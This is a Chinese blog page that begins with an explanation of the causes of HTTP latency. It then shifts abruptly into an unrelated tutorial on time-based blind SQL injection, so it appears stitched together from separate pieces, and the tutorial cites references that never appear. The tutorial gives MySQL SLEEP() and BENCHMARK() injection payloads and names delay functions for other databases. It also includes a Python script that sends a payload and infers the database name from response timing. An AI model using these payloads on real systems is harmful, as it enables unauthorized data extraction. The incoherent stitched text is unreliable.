HTTP 延时

HTTP性能优化一直是个十分重要的话题,但要进行优化,首先得找出有哪些地方会导致HTTP延时。

HTTP 请求过程

在HTTP请求传输的过程中,会经历这样的场景和可能遇见如下的问题:

1 . 用户输入或打开一个地址,client查找本地http缓存,如果有未过期的本地缓存,则直接200(from cache),请求结束。

现代浏览器有这样的机制,在访问server时,由server返回的HTTP响应头控制。

2 . client查找本地DNS缓存查看是否已有DNS信息,如果没有,则向DNS解析服务器请求server的IP地址

当本地DNS缓存中已有本次访问所需的信息,那么这里几乎是无延迟的,但如果client需要向DNS解析服务器请求,则会有一定的延时

3 . client向server发送一条TCP连接请求,并等待server的响应。

在这里,开始TCP的三次握手建立连接。如果client和server的网络情况并不好(网络抖动、地域过远、连接拥挤等),则会花费很长的时间。

4 . 一旦连接建立起来,则client通过新建立的TCP管道向server发送HTTP请求,当数据到达时,server从TCP管道中读取请求的报文,并对请求进行处理

在这里,依然有可能受到网络的影响,使得请求报文的传输较慢,或者是当server的负载过高,或者是server处理的是一个复杂的动态资源,或者是server底层依赖的上游服务响应较慢(例如server作为反向代理),都会使得这一阶段的延时增加。

5 . server将处理完毕后的HTTP响应,通过TCP管道回送到client。

在这里,依然可能被网络情况所影响。

6 . 请求/响应 的内容过长,也会使得传输的时间变长,毕竟传输速度不变的情况下,内容越多,所需时间越长。

所以这样一个简单请求中,也包含了硬件速度、网络、服务器负载、请求/响应报文尺寸、client/server的距离等这么多的坑等着你踩。

### 延时注入技术的概念 延时注入是一种通过构造带有延迟的 SQL 注入负载实现的攻击技术。其核心思想是在目标系统执行 SQL 语句的过程中,增加一些额外的等待时间,使得攻击者能够得到更准确的信息并进一步进行攻击[^1]。这种技术利用数据库中的一些函数或者操作,在满足特定条件时会产生延迟。攻击者可以通过构造特定的 SQL 查询语句,使得数据库在处理查询时执行这些函数或者操作,从而产生延迟[^2]。 如果查询条件成立,数据库会执行延迟操作,攻击者可以通过观察响应时间来判断查询条件是否成立。这种方法特别适用于无法直接从响应内容中获取信息的情况,例如布尔盲注场景下[^2]。 --- ### 延时注入的实现方法 #### 1. 使用 `SLEEP()` 函数 在 MySQL 数据库中,`SLEEP(seconds)` 是一个常用的延时函数。攻击者可以构造类似以下的 SQL 查询语句: ```sql ' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) -- ``` 上述语句的作用是:如果当前数据库名称的第一个字符为 `'s'`,则触发 5 秒的延迟;否则不触发延迟。攻击者通过观察响应时间来判断条件是否成立。 #### 2. 使用 `BENCHMARK()` 函数 `BENCHMARK(count, expression)` 是另一种实现延时的方法。该函数会重复执行指定次数的表达式,从而增加查询的时间消耗。例如: ```sql ' AND BENCHMARK(1000000, ENCODE('test', 'key')) -- ``` 上述语句会重复执行 100 万次 `ENCODE('test', 'key')` 操作,导致查询变慢。攻击者可以根据响应时间判断条件是否成立。 #### 3. 利用其他数据库特性 不同的数据库可能支持不同的延时函数或特性。例如: - 在 PostgreSQL 中,可以使用 `pg_sleep(seconds)`。 - 在 Microsoft SQL Server 中,可以使用 `WAITFOR DELAY 'hh:mm:ss'`。 --- ### 示例代码 以下是一个简单的 Python 脚本,用于测试延时注入的效果,并记录日志: ```python import requests import time url = "http://example.com/vulnerable" payload = "' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) -- " start_time = time.time() response = requests.get(url, params={"id": payload}) elapsed_time = time.time() - start_time if elapsed_time > 4: print("Condition is TRUE") else: print("Condition is FALSE") ``` 上述代码通过测量响应时间来判断条件是否成立。如果响应时间超过 4 秒,则认为条件成立。 --- ### 注意事项 延时注入技术虽然强大,但也存在一定的局限性。例如: - 如果目标系统的超时设置较短,可能导致注入失败。 - 网络延迟可能干扰结果判断,需要多次测试以减少误判。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值